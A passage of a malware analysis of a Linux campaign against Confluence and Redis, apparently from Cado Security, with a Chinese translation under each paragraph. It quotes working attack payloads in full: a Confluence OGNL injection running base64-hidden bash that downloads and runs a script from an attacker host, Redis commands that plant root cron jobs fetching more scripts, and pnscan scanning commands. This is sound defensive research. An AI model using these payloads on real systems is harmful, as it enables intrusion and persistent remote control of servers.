/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign.

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 
此示例包含与前三个示例略有不同的发现过程。与其使用 zgrab 和 masscan 的组合来识别目标， c.sh 不如选择在一系列随机生成的 IP 地址上执行 pnscan 。

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:
执行后，恶意软件通过 setrlimit() 系统调用将打开文件的最大数量设置为 5000，然后继续删除当前工作目录中名为 .dat 的文件（如果存在）。如果该文件不存在，恶意软件会创建该文件并向其写入以下 redis-cli 命令，以准备在已识别的 Redis 主机上执行：

save
config set stop-writes-on-bgsave-error no
flushall
set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n"
set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n"
set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n"
set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n"
config set dir "/var/spool/cron/"
config set dbfilename "root"
save
config set dir "/var/spool/cron/crontabs"
save
flushall
set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n"
set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n"
set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n"
set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n"
config set dir "/etc/cron.d"
config set dbfilename "zzh"
save
config set dir "/etc/"
config set dbfilename "crontab"
save

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs.
这将在受感染的主机上实现 RCE，方法是在将数据库文件保存到其中一个 Cron 目录之前，编写一个包含 shell 命令的 Cron 作业，以检索 cronb.sh 数据库的有效负载。当调度程序读取此文件时，将解析 Cron 作业的数据库文件，并最终执行作业本身。这是一种常见的 Redis 利用技术，Cado 在之前的博客中对此进行了广泛介绍。

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomised /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:
在运行前面所述的随机八位字节生成代码后，恶意软件会尝试 pnscan 扫描随机的 /16 子网并识别配置错误的 Redis 服务器。命令 pnscan 如下：

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379

• The -t argument enforces a timeout of 512 milliseconds for outbound connections
  该 -t 参数强制出站连接超时 512 毫秒
• The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
  在本例 s:Linux 中，该 -R 参数查找来自目标服务器的特定十六进制编码响应（请注意，这可能是 os:Linux ）
• The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument
  该 -W 参数是要发送到服务器的十六进制编码请求字符串。这将运行命令 1 ; $4 ; info 针对 Redis 主机，提示它返回使用 -R 参数搜索的横幅信息

Disassembly demonstrating pnscan command construction and execution
反汇编演示 pnscan 命令构建和执行

For each identified IP, the following Redis command is run:
对于每个标识的 IP，将运行以下 Redis 命令：

redis-cli -h <IP address> -p <port> –raw <content of .dat>

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.
当然，这具有读取 .dat 文件中 redis-cli 的命令并在发现的主机上执行这些命令的效果。

Conclusion 结论

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. It’s clear that attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 
这种广泛的攻击表明，云和 Linux 恶意软件开发人员可以使用的初始访问技术多种多样。很明显，攻击者正在投入大量时间来了解云环境中部署的面向 Web 的服务类型，及时了解这些服务中报告的漏洞，并利用这些知识在目标环境中站稳脚跟。

It’s widely known that Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.
众所周知，Docker 引擎 API 端点经常以初始访问为目标。仅在 2024 年第一季度，Cado Security Labs 的研究人员就发现了三个利用 Docker 进行初始访问的新恶意软件活动，包括这个活动。针对 Confluence 部署 n 天漏洞也表明了将安全研究武器化以达到邪恶目的的意愿。

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.
尽管这不是Apache Hadoop第一次成为攻击目标，但有趣的是，攻击者仍然发现大数据框架是一个有利可图的目标。目前尚不清楚除了Docker之外，针对Hadoop的决定是否基于攻击者的经验或对目标环境的了解。

To see how Cado can help you investigate threats like this, contact our team to see a demo.
要了解 Cado 如何帮助您调查此类威胁，请联系我们的团队观看演示。

Indicators of Compromise
入侵指标

原文始发于cadosecurity：Spinning YARN – A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence